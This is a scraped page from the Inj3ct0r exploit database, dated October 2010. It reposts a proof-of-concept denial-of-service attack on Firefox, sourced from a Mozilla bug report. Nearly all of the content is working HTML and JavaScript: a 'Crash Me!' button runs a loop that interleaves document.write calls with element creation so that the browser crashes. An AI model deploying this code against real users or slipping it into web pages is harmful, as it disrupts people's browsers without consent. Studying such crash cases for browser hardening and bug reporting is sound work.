Home / os / win7

[dos / poc] - Firefox Interleaving document.write and append

Posted on 28 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Firefox Interleaving document.write and appendChild Denial of Service | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Firefox Interleaving document.write and appendChild Denial of Service by Daniel Veditz in dos / poc | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>===================================================================== Firefox Interleaving document.write and appendChild Denial of Service ===================================================================== Source: https://bugzilla.mozilla.org/show_bug.cgi?id=607222 &lt;html&gt;&lt;body&gt; &lt;script&gt; function getatts(str){ var cobj=document.createElement(str); cobj.id=&quot;testcase&quot;; document.body.appendChild(cobj); var obj=document.getElementById(&quot;testcase&quot;); var atts = new Array(); for(p in obj){ if(typeof(obj[p])==&quot;string&quot;){ atts.push(p); } } document.body.removeChild(cobj); return atts; } function crashme() { var tags = new Array(&quot;audio&quot;, &quot;a&quot;, &quot;base&quot;); for (inx = 0; inx &lt; 0x8964; inx++) { for (i = 0; i &lt; tags.length; i++) { var atts = getatts(tags[i]); for (j = 0; j &lt; atts.length; j++) { var html = &quot;&lt;&quot; + tags[i] + &quot; &quot; + atts[j] + &quot;=a&gt;&lt;/&quot; + tags[i] + &quot;&gt;&quot; + tags[i]; document.write(html); } } } } &lt;/script&gt; &lt;button onclick=&quot;crashme();&quot;&gt;Crash Me!&lt;/button&gt; &lt;/body&gt;&lt;/html&gt; # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-28]</pre></body></html>

 

TOP